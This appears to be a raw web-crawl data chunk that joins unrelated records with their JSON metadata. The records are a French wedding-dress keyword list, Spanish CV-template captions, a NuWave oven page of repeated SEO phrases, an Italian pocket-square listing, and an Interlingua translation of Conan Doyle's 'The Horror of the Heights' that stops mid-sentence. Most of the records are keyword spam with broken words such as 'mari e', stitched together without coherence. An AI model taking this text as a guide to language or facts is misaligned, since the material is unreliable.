boheme\nrobe de mariee ete 2018\nphoto robe de mari e pronovias 2018 mod le draval\nphoto robe de mari e pronovias 2018 mod le drisela\nphoto robe de mari e pronovias 2018 mod le draliana\nphoto robe de mari e pronovias 2018 mod le draboe\nphoto robe de mari e pronovias 2018 mod le draga\nphoto robe de mari e pronovias 2018 mod le drepea\nphoto robe de mari e elie saab 2018 robe manches\nrobe de mari e 2018 d couvrez les plus belles tendances\nphoto robe de mari e pronovias 2018 mod le dralia\nphoto robe de mari e 2018 robe col bardot anne barge\ni2\nphoto robe de mari e pronovias 2018 mod le drope\npronovias 2018 preview les robes de mari e\nphoto robe de mari e pronovias 2018 mod le drasila\nphoto robe de mari e pronovias 2018 mod le dradine\ncollection bella 2018 robe de mari e destiny\nrobes de mari e 2018 robe de mari e d sir e\ncl mentine iacono nouvelle collection 2018 de robes de\nphoto robe de mari e pronovias 2018 mod le drafne\nrobe de mari e sir ne 2018\nrobe de mariee 2018 dentelle\nrobe de mari e demetrios 2018 2019 couture nuptiale\nrobes de mari e 2018 robe de mari e douchka\nstudio colas tendances robes de mari e pour 2018\nconfidence mariage paris robe de mari e demetrios 2018\nvintage robe de mari e princesse 2018 avec manches guipure\nphoto robe de mari e pronovias 2018 mod le drisule\nphoto robe de mari e 2018 robe col bardot oscar de la\nrobes de mari e divina sposa 2018\nphoto robe de mari e pronovias 2018 mod le drosel\nrobe marie paris robes de mariage 2018 boutique robe\nrobes de mari e cymbeline collection 2018 un d fil\nles charmeuses robe de mari e les mari s d aphrodite\nphoto robe de mari e pronovias 2018 mod le dracme\nrobes de mari e 2018 top tendances mariage tout prix\nphoto robe de mari e rosa clara 2018 robe d collet\ncollection bella 2018 robe de mari e alexa\ncollection bella 2018 robe de mari e daurianne\nrobe de mari e tendance 2018\nrobes de mari e 2018 robe de mari e dolores\nrobe de mariage 2018 hiver\ncollection bella 2018 robe de mari e clarisse\nrobe de mariage civil 2018\nrobe de mari e 2018 en dentelles perl es longue tra ne et\nphoto robe de mari e pronovias 2018 mod le dralan\nrobe de mariee tendance 2018\nphoto robe de mari e pronovias 2018 mod le drape\nrobes de mari e 2018\nphoto robe de mari e rosa clara 2018 robe avec col\nphoto robe de mari e pronovias 2018 mod le drumsa\nrobe de mari e 2018 rouge vermillon paules d nud es\nquelle robe de mari e pour dire oui en 2018 madame figaro\nrobes de mari e 2018 le son de la mode\nrobes mariees 2018\nrobe de mari e 2018\nrobes de mari e tendances 2017 2018 mode nuptiale\nrobes de mari e 2018 robe de mari e annick\nrobes de mari e 2018 robe de mari e daisy\ncollection bella 2018 robe de mari e dylan\nrobe de mari e martinique philippe apat le lamentin 2018 2019\nrobe de marie divina sposa 2018 modle 18ds 18236\nphoto robe de mari e romantique 2018 anne barge robe\nrobes de mari e demetrios 2018\nphoto robe de mari e pronovias 2018 mod le dresden\ncollection bella 2018 robe de mari e azur\ncollection bella 2018 robe de mari e dragana\nrobe de mari e cosmobella 2018 2019 couture nuptiale\nphoto robe de mari e pronovias 2018 mod le drusena\nconfidence mariage paris robe de mari e divina sposa 2018\ncollection bella 2018 robe de mari e alice\nphoto robe de mari e pronovias 2018 mod le dramae\ncollection bella 2018 robe de mari e ana s\nrobe de mari e 2018 bustier courte longues 2019 dentelles\nrobes de mari e metropolitain 2018\nrobes de mari e annie couture 2018 frequente\nphoto robe de mari e pronovias 2018 mod le drakar\nrobes de mari e 2018 collection philippe apat mod les\nphoto robe de mari e pronovias 2018 mod le drizana\nrobe de marie sincerity 2018 18 couture nuptiale\nphoto robe de mari e pronovias 2018 mod le draque\nphoto robe de mari e pronovias 2018 mod le draconia\nrobe de mari e 2017 2018\nphoto robe de mari e pronovias 2018 mod le dril\nphoto robe de mari e pronovias 2018 mod le drenube\n2018 robe de mari e mariage soir e wedding evening dress\nphoto robe de mari e romantique 2018 badgley mischka\nrobe de mariee princesse 2018\nrobes de mari e 2018 pronuptia\nrobe mariee miss paris 2018 fashion robes de france\nphoto robe de mari e elie saab 2018 robe col carr en\nrobes de mari e 2018 robe de mari e camille\nphoto robe de mari e deux pi ces rosa clara\npronovias 2018 toute la collection de robes de mari e\ncollection bella 2018 robe de mari e donatella\nrobe de mari e 2017 san diego 2018 philippe apat robes\nrobe de mari e hiver 2018\nrobe de mari e 2017 bustier dos nu 2018 philippe apat\nrobe de mari e tendance 2017 id es et d 39 inspiration sur\nphoto robe de mari e rosa clara 2018 robe bustier\ni3\nRecent Posts\nhauteur ilot central\nlit design 140x190\ndeguisement theme cinema\ntable de jardin en bois avec banc integre\nchaise roulante bureau\nbureau petit espace\ncarrelage imitation tomette\ntable basse en verre design haut de gamme\nsalon jardin palette\nlit 1 place avec rangement\npetit meuble salon\nsupport velo sol\ngravier decoratif exterieur\npetite table de cuisine\ndeco murale cuisine\npapier peint pois\nlit bébé design\narbuste pour haie croissance rapide\ncuisine italienne design\nmodele de salle de bain moderne\nMenu\nPrivacy Policy\nTerms of Service\nCopyright\nContact\n© Copyright 2017. All Rights Reserved. Powered By :\nFussballtrikotonlinevertrieb.com","id":"","dump":"CC-MAIN-2019-18","url":"http:\/\/fussballtrikotonlinevertrieb.com\/robe-mari%C3%A9e-2018-2620.html","date":"2019-04-21T11:13:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578530527.11\/warc\/CC-MAIN-20190421100217-20190421122217-00215.warc.gz","language":"ina","language_score":0.3867568672,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"ina_Latn_score\": 0.38675686717033386, \"nov_Latn_score\": 0.30774393677711487, \"rmq_Latn_score\": 0.06467746198177338, \"ile_Latn_score\": 0.03158898651599884, \"oci_Latn_score\": 0.02178041636943817, \"pcm_Latn_score\": 0.021369891241192818, \"vec_Latn_score\": 0.0173510555177927, \"lmo_Latn_score\": 0.016518665477633476, \"bug_Latn_score\": 0.012780031189322472}","num_words":1573,"character_repetition_ratio":0.325,"word_repetition_ratio":0.116,"special_characters_ratio":0.276,"stopwords_ratio":0.051,"flagged_words_ratio":0.0,"lang_id_score":0.379,"perplexity_score":9828.4,"cluster_detection":-1} +{"text":"atractivo plantilla de word de curriculum vitae de actor como debe ser un curriculum vitae, nih cv template physic minimalistics como debe ser un curriculum vitae, plantillas curriculum vitae ecro word 01 pinterest como debe ser un curriculum vitae, cv premium recol³cate como debe ser un curriculum vitae, funciones de una depen nta de ropa como debe ser un curriculum vitae,\nAtractivo Plantilla De Word De Curriculum Vitae De Actor Como Debe Ser Un Curriculum Vitae fuente: ethiopiandiaspora.info\nNih Cv Template Physic Minimalistics Como Debe Ser Un Curriculum Vitae fuente: physic.minimalistics.co\nPlantillas Curriculum Vitae Ecro Word 01 Pinterest Como Debe Ser Un Curriculum Vitae fuente: pinterest.com.mx\nCv Premium Recol³cate Como Debe Ser Un Curriculum Vitae fuente: recolocate.net\nFunciones De Una Depen Nta De Ropa Como Debe Ser Un Curriculum Vitae fuente: aroma-h.com\n3 formas De Incluir Tus Habilidades En Un Currculo Como Debe Ser Un Curriculum Vitae fuente: es.wikihow.com\nCurriculum Espanol Como Debe Ser Un Curriculum Vitae fuente: icasholoans.com\n3 formas de incluir tus habilidades en un currculo como debe ser un curriculum vitae, curriculum espanol como debe ser un curriculum vitae, c³mo enviar un currculum por correo electr³nico como debe ser un curriculum vitae, como debe ser un curriculum vitae customer service call center cover letter examples s with regard,","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/teleycinema.com\/como-debe-ser-un-curriculum-vitae\/","date":"2019-05-24T22:53:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232257781.73\/warc\/CC-MAIN-20190524224619-20190525010619-00044.warc.gz","language":"ina","language_score":0.5781427622,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.5781427621841431, \"spa_Latn_score\": 0.16807101666927338, \"cbk_Latn_score\": 0.08499458432197571, \"glg_Latn_score\": 0.049617718905210495, \"ast_Latn_score\": 0.03934289887547493, \"lat_Latn_score\": 0.01991116628050804, \"arg_Latn_score\": 0.014322636649012566}","num_words":362,"character_repetition_ratio":0.211,"word_repetition_ratio":0.365,"special_characters_ratio":0.178,"stopwords_ratio":0.064,"flagged_words_ratio":0.0,"lang_id_score":0.79,"perplexity_score":5942.6,"cluster_detection":-1} +{"text":"nuwave pro plus oven nuwave pro plus countertop oven infrared and convection ovens big boss rapid wave halogen digital reviews nuwave pro plus oven.\nnuwave pro plus oven pro plus oven and accessories nuwave nuwave pro plus oven with extender ring.\nnuwave pro plus oven nuwave oven pro plus with stainless steel extender ring how to use nuwave pro plus oven.\nnuwave pro plus oven nuwave pro plus countertop oven exciting oven pro plus pro plus oven recipes nuwave pro plus oven manual.\nnuwave pro plus oven nuwave pro plus oven how to use nuwave pro plus oven.\nnuwave pro plus oven nuwave pro plus countertop oven best oven extender ring pro plus oven with extender ring nuwave pro plus infrared oven manual.\nnuwave pro plus oven nuwave 20631 oven pro plus review nuwave pro plus oven instructions.\nnuwave pro plus oven nuwave pro plus oven w 3 walmart nuwave pro plus oven.\nnuwave pro plus oven nuwave pro plus oven with stainless steel extender ring cinnamon walmart nuwave pro plus oven.\nnuwave pro plus oven nuwave pro plus 8 in 1 digital oven with 2 pc baking set nuwave pro plus oven power.\nnuwave pro plus oven pro plus oven model 8 in 1 digital nuwave countertop recipes blue with extender ring nuwave pro plus infrared oven reviews.\nnuwave pro plus oven nuwave oven pro plus power dome cracked replacement part genuine model 2 3 1 for models nuwave pro plus oven cooking chart.\nnuwave pro plus oven new wave oven pro oven pro offer nuwave oven pro video nuwave oven pro plus accessory nuwave pro plus infrared oven manual.\nnuwave pro plus oven product description walmart nuwave pro plus oven.\nnuwave pro plus oven nuwave oven pro vs pro plus nuwave pro plus oven with extender ring.\nnuwave pro plus oven nuwave pro plus countertop oven oven buy 1 get 1 free nuwave pro plus countertop oven walmart nuwave pro plus oven.\nnuwave pro plus oven nuwave pro plus oven model 20604 with supreme pizza kit model 22104 nuwave pro plus oven with stainless steel extender ring.\nnuwave pro plus oven nuwave pro plus countertop oven with extender ring kit how to use nuwave pro plus oven.\nnuwave pro plus oven 6 qt digital air fryer nuwave pro plus accessories n nuwave pro plus oven manual.\nnuwave pro plus oven pro plus oven brand new in box nuwave countertop recipes nuwave pro plus countertop oven reviews.\nnuwave pro plus oven nuwave pro plus oven with extender ring kit.\nnuwave pro plus oven nuwave pro plus oven 20601 replacement parts base drip tray rack hover to zoom nuwave pro plus oven nuwave pro plus infrared oven cooking chart.\nnuwave pro plus oven the complete nuwave oven cookbook includes over 100 recipes for nuwave pro pro plus nuwave pro plus infrared oven cooking chart.\nnuwave pro plus oven genuine shatter resistant oven pro plus clear replacement part dome cover new nuwave pro plus oven.\nnuwave pro plus oven nuwave pro plus oven 20601 replacement parts base drip tray rack hover to zoom nuwave pro plus oven nuwave pro plus countertop oven reviews.\nnuwave pro plus oven nuwave pro plus oven black 1 nuwave pro plus oven latest model.\nnuwave pro plus oven pleasant nuwave oven extender ring u3538632 nuwave pro plus oven with extender ring kit cobalt blue nuwave pro plus oven with extender ring.","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/lipsenlargment.club\/nuwave-pro-plus-oven\/","date":"2019-05-27T01:34:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232260358.69\/warc\/CC-MAIN-20190527005538-20190527031538-00076.warc.gz","language":"ina","language_score":0.6391099691,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.6391099691390991, \"her_Latn_score\": 0.18950970470905304, \"eng_Latn_score\": 0.05009019002318382, \"jam_Latn_score\": 0.030270295217633247, \"goh_Latn_score\": 0.012293800711631775}","num_words":909,"character_repetition_ratio":0.378,"word_repetition_ratio":0.381,"special_characters_ratio":0.199,"stopwords_ratio":0.024,"flagged_words_ratio":0.0,"lang_id_score":0.639,"perplexity_score":7391.1,"cluster_detection":-1} +{"text":"listingFiltri\nPochette in seta\nPochette grigio antracite in seta jacquard floreale\nPochette blue navy in seta jacquard floreale\nPochette blue navy in seta jacquard tema animali\nPochette bordeaux in seta jacquard tema animali\nPochette cioccolato in seta stampata con logo Pal Zileri\nPochette bordeaux in seta jacquard\nPochette bordeaux in seta stampata con logo Pal Zileri\nPochette grigio antracite in seta con logo Pal Zileri","id":"","dump":"CC-MAIN-2019-30","url":"https:\/\/www.palzileri.com\/it\/tessili\/pochette","date":"2019-07-16T09:06:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195524517.31\/warc\/CC-MAIN-20190716075153-20190716101153-00089.warc.gz","language":"ina","language_score":0.3560577631,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"ina_Latn_score\": 0.3560577630996704, \"ita_Latn_score\": 0.18084882199764252, \"slv_Latn_score\": 0.08539914339780807, \"vec_Latn_score\": 0.08232826739549637, \"ile_Latn_score\": 0.06825951486825943, \"eng_Latn_score\": 0.053512003272771835, \"srd_Latn_score\": 0.021287426352500916, \"frp_Latn_score\": 0.013889901340007782, \"cos_Latn_score\": 0.012361512519419193}","num_words":130,"character_repetition_ratio":0.166,"word_repetition_ratio":0.364,"special_characters_ratio":0.151,"stopwords_ratio":0.038,"flagged_words_ratio":0.0,"lang_id_score":0.318,"perplexity_score":9563.0,"cluster_detection":-1} +{"text":"Le Horror Altissime\nAutor: sir Arthur Conan Doyle, traduction a interlingua per Anders Blixt\nLe idea que le narration extraordinari, appellate le \"Fragmento Joyce-Armstrong\", es un \"joco practic\" extensive -- tunc create per un humano incognite con un humorismo perverse e sinistre -- ha nunc essite abandonate per totes qui ha scrutinate le affaire. Solo alcun conspirator le plus macabre e imaginative hesitarea ante de connecter su phantasias a ille factos indisputabile e tragic que reinfortia le allegation del fragmento. Ben que le assertiones in illo son stupende e mesmo monstruose, il nonobstante se fortia al intellecto que illos son ver, e que nos debe adjustar nostre ideas al nove situation. Nostre mundo appare esser separate per un parve margine precari ab un unic periculo inexpectate. In ille exposition, que reproduce le documento original in su forma partialmente fragmentari, io va essayar presentar tote le factos usque nunc pro le lector. Como introduction io vole dicer que, etiam si alcunos dubita le narration de Joyce-Armstrong, il non pote haber alcun hesitation sur le factos concernente locotenente Myrtle, R. N., e senior Hay Connor, qui indubitatemente incontrava lor fines in le manieras describite hic.\nLe Fragmento Joyce-Armstrong esseva trovate in le campo Lower Haycock, circa un kilometro e medie al west del vico Withyham presso le limite inter Kent e Sussex. Le 15 de septembre le anno previe James Flynn, un obrero rural empleate per Mathew Dodd, paisano e proprietario del Chauntry Farm, Withyham, observava un pipa de briar al terreno proxime al sentiero que passa al longe del haga que limita Lower Haycock. Alcun passos avante ille trovava un binoculo rumpite. Finalmente, inter alcun urticas in le fossato, ille discoperiva un tenue libro, ligate per canevas. Illo se monstrava esser un agenda con folios distachabile, del quales alcunos, post haber distachate se, volettava al longe del base del haga. Ille los colligeva, ma alcun folios, includite le prime, nunquam esseva trovate. Iste facto lassa un hiato regrettabile in le narration portentose. Le obrero dava le agenda a su empleator, qui postea presentava lo al doctor J.H. Atherton de Hartfield. Iste gentleman immediatemente videva que un experto deberea examinar lo e dunque le manuscripto esseva inviate al Aero Club in London, ubi illo nunc es conservate.\nAl manuscripto manca tres folios -- le prime, le secunde e le penultime -- ma lor absentia non influe sur le coherentia general del conto. On suppone que le comencio disparite describe le qualificationes aeronautic de senior Joyce-Armstrong, le quales on pote extraher ex altere fontes: ille esseva sin dubita inter le optime pilotas anglese. Durante multe annos ille esseva reguardate como uno del aeronautas le plus coragiose e le plus intelligente. Ille usava iste combination de qualitates a fin de inventar e probar plure nove apparatos, includente le commun accessorio gyroscopic que porta le nomine de ille.\nLe corpore principal del manuscripto ha essite scribite in tinta, ma le pauc lineas final son notate per un stilo de graphite e assi mal scribite que illos a pena son legibile -- justo como on se expectarea si illos esseva scribite rapidemente con pressa in le sede de un aeroplano volante. Il etiam ha plure maculas, e sur le folio final e sur le coperi-libro, que expertos del Ministerio Interior ha confirmate como sanguine, probabilemente human e certemente mammifere. On etiam ha trovate in iste sanguine alque que resimila le parasito de malaria, e on sape que Joyce-Armstrong suffreva de febre intermittente; ille facto exemplifica le gestas del nove armas forense date a nostre detectives per le scientia moderne.\nNunc alque sur le personalitate del autor de ille texto epochal. Joyce-Armstrong, secundo le pauc amicos qui vermente sapeva alque del viro, esseva e un poeta, e un visionario, e un mechanico e un inventor. Ille possedeva un grande ricchessa, multo del qual ille expendeva a su hobby aeronautic. Il habeva quatro aeroplanos private in su hangar proxime a Devizes, e on dice que ille faceva al minus un cento septanta ascensiones durante le previe anno. Ille esseva un viro recluse con periodos de humores obscur, durante le quales ille eludeva contactos con su collegas.\nCapitano Dangerfield, qui le cognosceva melio que alteres, dice que il habeva occasiones quando su eccentricitate menaciava de disveloppar a alque plus seriose. Su habitude de apportar un fusil de chassa in su aeroplano esseva un manifestation de isto. Un altere esseva le effecto morbide con le qual le cadita de locotenente Myrtle affectava su mente. Myrtle, qui essayava attinger un record de altitude, cadeva al terreno ab un altitude de plus de novem kilometros. Le facto horribile esseva que su capite habeva essite annihilate dum su torso e extremitates reteneva lor configuration. In cata incontro del aeronautas, Joyce-Armstrong, secundo Dangerfield, dicerea con un surriso enigmatic: \"E ubi, per favor, es le capite de Myrtle?\"\nIn un altere occasion post un cena, in le refectorio del Schola de Aviation in Salisbury Plain, ille comenciava un discussion sur lo que essera le periculo le plus persistente pro aeronautas. Post haber ascoltate a opiniones consecutive sur cavitates de aere, constructiones defective e inclination excessive, ille concludeva le conversation per altiar su spatulas. Ille refusava presentar su proprie opiniones, ben que on acquireva un impression que illos divergeva de tote pensatas exprimite per su collegas.\nPer favor, observa etiam que post su disparition total, on discoperiva que su affaires private habeva essite arrangiate con un precision que poterea indicar que ille possedeva un forte premonition de disastro. Post ille explicationes essential io nunc va presentar le narration integre sin alterationes, comenciante ab le tertie folio in le agenda insanguinate:\n\"... nonobstante, quando io dinava in Rheims con Coselli e Gustav Raymond, io comprendeva que necuno sapeva de alcun periculo particular in le alte stratos del atmosphera. In le fundo io non diceva lo que era in mi pensatas, ma io lo tanto approchava que, si illes possedeva alcun idea analoge, illes non poteva haber fallite a exprimer lo. Ma illes ya es duo viros vacue e vanitose sin alcun pensatas excepte a vider lor nomines ridicule in le jornales. On debe observar que necuno jammais habeva ascendite multo super sex kilometros. Naturalmente, homines jam ha attingite altitudes plus grande que isto per ballon e per scalar montes. Il debe esser multo plus altemente que un avion entrarea in le zona de periculo -- naturalmente a condition que mi premonitiones es correcte.\nAviones ora ha existite pro plus de vinti annos e ergo on pote demandar se proque ille periculo serea revelate solo ora. Le responsa es obvie. Pridem, quando le motores era sin fortias e un Gnome o Green de 100 cavallo-vapores era reguardate como sufficiente pro tote besonios, le volos era multo restringite. Ora, quando 300 cavallo-vapores es le normal plus tosto que un exception, visitas al stratos alte ha devenite plus facile e plus commun. Alcunos pote rememorar se que, in nostre juventute, Garros obteneva fama global per attinger 5.700 metros e alora on anque pensava que un volo super le Alpes era un gesta. Nostre expectationes ha depois essite tremendemente accrescite e on exeque ora vinti volos pro cata uno durante previe annos. Multes de illos ha essite complite con fortia. Le nivello de dece kilometros ha essite attingite itero e itero sin disconfortos ultra frigor e asthma. Que prova isto? Un visitator pote descender a iste planeta mille vices sin incontrar un tigre. Nonobstante tigres existe e si ille per chance disbarca in un jungla, ille poterea esser devorate. Il ha junglas in le atmosphera altissime con esseres plus mal que tigres. Io crede que in le futuro on cartara iste junglas accuratemente. Hodie io pote designar duo tales: uno super le districto de Pau-Biarritz in Francia e uno ci, super mi capite quando io scribe ille parolas in mi focar in Wiltshire. Io anque crede que il forsan ha un tertie super le districto de Homburg-Wiesbaden.\nLe disparition del aeronautas igniva mi pensatas. Totes diceva que illes habeva cadite a basso in le mar, ma iste explanation non me satisfaceva. Pro primo, Verrier in Francia: su avion era discoperite proxime de Bayonne, ma illes nunquam trovava su corpore. Depois, le caso de Baxter, qui anque dispareva, ben que su motor e alcun esquadras de ferro era trovate in un silva in Leicestershire. Dr. Middleton, de Amesbury, qui observava iste volo per telescopio, attesta que justo ante que alcun nubes obscurava su vision ille videva le avion a un altitude enorme. Illo subito ascendeva verticalmente in alto in un succession de colpos. Le doctor non credeva que un tal motion serea possibile. Isto era le observation final de Baxter. Il habeva depost un discussion in le jornales, ma sin conclusiones.\nIl habeva plure altere casos similar, e depois le morte de Hay Connor occurreva. Qual rider erumpeva sur un 'mysterio del aere non resolvite' e qual reportages in le jornales vulgar -- e como pauco on de facto faceva a fin de resolver le caso! Ille descendeva in un volo a picco magnific ab un altitude incognite. Ille nunquam disbarcava ab illo, sed moriva in su sede de pilota. Que le occideva? 'Un maladia del corde', diceva le doctores. Nonsenso! Le corde de Hay Connor era tanto san como le mie. Que diceva Venables? Venables era le sol homine apud ille quando ille moriva. Ille diceva que ille tremeva e resimilava un viro qui se habeva espaventate gravemente. 'Moriva de terror', diceva Venables, ma non poteva pensar pro qual cosa ille habeva pavor. Ille solo diceva un parola a Venables, que sonava como 'monstruose'. Durante le inquesta on non poteva decifrar isto. Ma isto io poteva decifrar. Monstros! Isto era le final parola de povre Harry Hay Connor. E ille vermente moriva de pavor, justo como Venables pensava.\nE depois il habeva le capite de Myrtle. Crederea tu -- crederea vermente alcunos -- que un capite human pote esser fracassate completemente a in le corpore per le fortia de un cadita? Forsan illo serea possibile, ma io nunquam ha credite que isto era ver in le caso de Myrtle. E le adipe sur su vestimentos -- 'completemente sordide per adipe', diceva alcuno al inquesta. Remarcabile que iste parolas non igniva le pensatas de alteres! Mi pensatas jam flammava, ma io habeva comocunque meditate longemente sur iste cosa.\nIo ha exequite tres ascensiones depois -- como Dangerfield derideva mi fusil de chassa! -- ma nunquam attingeva sufficiente altitude. Ora, con le nove e legier machina de Paul Veroner e su Robur de 175 cavallo-vapores io deberea deman facilemente passar dece kilometros. Illo sera un essayo a batter le record. Forsan io anque battera alque altere. Claro illo sera periculose. Si un viro vole eluder periculos, ille deberea desister completemente de aviation e celar se in su pantoflas e roba de camera. Ma io va visitar le jungla aeree deman -- e si il ha alque ibi, io lo apprendera. Si io retornara, io habera trovate alcun renomine pro me mesme. Si io non retornara, ille agenda potera explicar lo que io ha volite facer e como io perdeva facente lo. Ma nulle galimatias de accidentes o mysterios, per favor.\nIo seligeva le monoplano Paul Veroner pro le mission. Iste construction es sin par pro dur travalio. Beaumont discoperiva isto in le infantia del aviation. Pro exemplo, illo non es incommodate per humiditate e le temperie iste die dava le impression que nos volarea intra nubes. Le Veroner es un belle parve typo que responde a mi manos como un cavallo con un bucca receptive. Illa possede tote ameliorationes moderne: un fuselage coperite per canevas, un carretto de atterrage con rotas e skis inclinate, frenos, stabilisatores gyroscopic, tres cambios de velocitate que opera per alterar le angulo de attacco del ala del propulsor. Io anque apportava un fusil de chassa e un dozena cartuchas con plumbos de cervo. Vos totes deberea haber observate le facie de Perkins, mi vetere mechanico, quando io le instrueva a cargar los.\nIo me vestiva como un explorator arctic, con duple subvestimentos sub mi supertoto, spisse calcettas intra mi bottinas wattate, un large bonetto hibernal con protege-aures e mi berillos de protection. Le calor era suffocante apud le hangar, ma io ascenderea al apice de Himalaya e debeva vestir me pro illo. Perkins comprendeva que alque inusual evenirea e precava que io le lassarea accompaniar me. Forsan io lo haberea facite, si io habeva usate un biplano, ma le monoplano solo porta un homine. Naturalmente, io apportava le armatura de oxygeno; cata pilota qui sin un tal va ascender a fin de batter un record de altitude, morira per congelation o suffocation -- o per ambes.\nAnte mi imbarcation io inspectava le governaculos, le alas e le cablos pilotante del Veroner. Illa era in un bon stato in tanto que io videva. Io poneva le motor in marcha e audiva un susurro agradabile. Jam a un lente velocitate illa se levava si tosto que io la permitteva. Io circulava super mi campo de focar un o duo vices a fin de calefacer le motor e depois, agitante un mano a Perkins e le alteres, premeva le acceleration maximal. Illa curreva como un hirundine al longe del vento pro 12-15 kilometros usque io elevava su naso e illa comenciava ascender in un large spiral verso le cortina de nubes super me. Il es essential que on monta lentemente a fin de adaptar se al pression decrescente.\nIl faceva un calor oppressive, viste que il era septembre in Anglaterra, con le spisse sensation que indica pluvia approchante. A vices il faceva sufflos brusc ab le sud-west -- uno tanto forte e inexpectate que illo me surprendeva e causava un medie rolamento. Io memora le tempore durante le qual borrascas e vortices e cavitates de aere soleva esser alque periculose -- ante que nos apprendeva dar potentias maestrante a nostre motores. Justo como io attingeva al cortinas de nubes, con le agulia de mi altimetro passante mille metros, le pluvia subito me colpava. Qual diluvio! Illo strepeva al alas e flagellava mi facie, rendente mi berillos turbide de maniera que io a pena poteva vider. Io decresceva mi velocitate proque le volo contra le guttas deveniva dolorose. Quando io ascendeva plus altemente illos se transformava a grandines que fortiava me a tornar le cauda del avion verso le vento. Un cylindro malfungeva -- probabilemente un candela sordide -- ma mi ascension continuava incessante gratias al multe fortia del motor. Tosto le problema, quecunque su causa, dispareva e io audiva itero le grave grunnimento integre: un canto unisone ab dece cylindros. Ci nos cognosce le beltate del silentiatores moderne. Al presente nos pote usar le aures pro pilotar nostre motores. Qual stridulation e ululation quando illos malfunge! Pridem tal critos de alarma se perdeva, necate per le ruito monstruose del motor. Si solmente le prime aeronautas poteva retornar a fin de vider le beltate e perfection in le mechanismo que ha essite ganiate al precio de lor vitas!\nA circa 9.30 horas io approchava le nubes. Infra me, indistincte e umbrate per le pluvia, le vaste campania de Salisbury Plain jaceva. Sex aviones exequeva lor cargas quotidian a un altitude de 300 metros, resimilante parve nigre hirundines supra un verde fundo. Io osa dicer que illes se demandava que io facerea ci in le pais del nubes. Subito un velo gris se extendeva sub me e humide spirales nebular torneava circum mi facie. Il era molliatemente frigide e miserabile. Ma io iva super le tempesta de grandines e isto era un amelioration. Le nube deveniva obscur e dense como le bruma de London. In mi anxietate de partir de illo, io elevava le naso del avion usque le campana automatic de alarma sonava e illa in effecto comenciava glissar a detra. Su guttante alas molliate monstrava que illa habeva devenite plus ponderose que io habeva pensate. Subinde io totevia attingeva nubes plus tenue e depois quitava le prime strato. Il habeva un secunde -- lanose con le color de opalos -- a un grande altitude super mi capite: un blanc tecto integre in alto e un obscur solo integre in basso con le avion laborante in un vaste spiral montante inter illos. Il es perniciosemente solitari in iste spatios seren. Un vice un grege de parve aves marin velocemente volava preter me verso west. Le rapide battimento de lor alas e lor critos musical me allegrava. Io divina que le specie era anate crecca, ma io es un van zoologista. Ora quando nos homines ha devenite aves, nos vermente debe apprender a recognoscer nostre cognatos per le viso.\nLe vento sub me batteva le vaste campania del nubes. Un vice un large vortice era formate intra illo, un gurgite de vapor de aqua, e ibi, como a transverso de un infundibulo, io discerneva le mundo distante. Un grande biplano blanc passava a un vaste profundo sub me. Io conjecturava que illo era le volo matinal de Royal Mail inter Bristol e London. Subinde albe velas tornava a in le foramine e itero le grande solitude deveniva integre.\nTosto post 10 horas io toccava le bordo inferior del alte strato de nubes. Illo consisteva de un vapor delicate e transparente que veniva rapidemente ab le west. Le vento habeva accrescite tote le tempore e il ora faceva un brisa fresc a vinti-quatro nodos secundo mi contator. Jam il faceva multe frigor, ben que mi altimetro solo indicava 2.700 metros. Le motor travaliava bellemente, e nos susurrava continuemente in alto. Le cortina de nubes era plus spisse que io habeva expectate, ma finalmente illo se rarefaceva a un nebula auree ante me. Subito io hastava ex illo e ibi incontrava un clar celo e un sol brillante super mi capite -- a alto toto in blau e auree; a basso toto in argento coruscante, un rutilante campania extensive tanto distante como io poteva vider. Il era 10.15 horas e le agulia del altimetro indicava 3.840 metros. Ascendente io lassava mi aures concentrar al susurration profunde del motor, quando mi oculos scrutinava le horologio, le contator de carburante e le pumpa del lubricator. Insurprendente que on dice que aviatores es un gente sin pavor. Quando nos debe scrutinar tote ille functiones, nos manca de tempore a inquietar nos pro nos mesme. In iste momento io comprendeva que le compasso deveni infidel super un certe altitude; a 4.500 metros le agulia magnetic del mie indicava verso est-sud- est. In loco io calculava mi ver direction ab le sol e le vento.\nIo habeva sperate arrivar a un tranquillitate eternal in ille altitudes superior, ma con cata cento metros le forte brisa accresceva. Mi avion gemeva e tremeva in cata juncto e bulon quando illa iva contra illo, e se torneava via como un folio de papiro quando io la inclinava pro un gyro, currente al longe del vento in un velocitate plus celere que, forsan, alcun altere homine antea habeva ite. Nonobstante io debeva itero e itero tornar a retro e cruciar contra le vento, proque io non solo chassava un record de altitude. Secundo tote mi calculationes, mi jungla aeree residerea super parve Wiltshire e tote mi travalio serea perdite si io attingeva mi apice foras de su position.\nQuando io attingeva 5.700 metros, a circa meridie, le vento habeva devenite tanto dur que io con alcun pavor scrutinava le supportos del alas, pro un momento expectante vider como illos frangeva o laxava. Io mesmo preparava le paracadita detra me, apprestante me pro le pessime: iste momento habeva venite in le qual le aviator pagarea con su vita pro cata negligentia del mechanico. Ma illa se susteneva bravemente con cata corda e cablo de aciero susurrante e vibrante como chordas de un harpa. Il era gloriose vider como illa, nonobstante le battimento, remaneva le conquisitrice del Natura e le soverano del celo. Vermente il ha alque divin in le homine que ille assi ben surmonta super le limitationes que le Creation pare imponer -- surmonta anque per le devotion disinteressate e heroic exhibite per ille gesta aeronautic. Non parla del degeneration del homine! Quando previemente in le annales de nostre specie ha alcuno scribite un conto como illo?\nIllos era le pensatas in mi capite, quando io scalava iste inclinate plano monstruose, le vento a vices battente in mi facie e a vices sibilante detra mi aures. Le paisage del nubes sub me se retraheva a un tal distantia que su plicas argentee semblava esser applattate de sorta que illo deveniva un plan campania lucide. Ma subito io incontrava un experientia horribile sin precedente. Ben que io previemente habeva volate a in isto que nostre vicinos francese nomina un tourbillon, nunquam io habeva incontrate un tal de ille grande magnitude. Le grande fluvio turbulente de vento, sur le qual io previemente ha parlate, 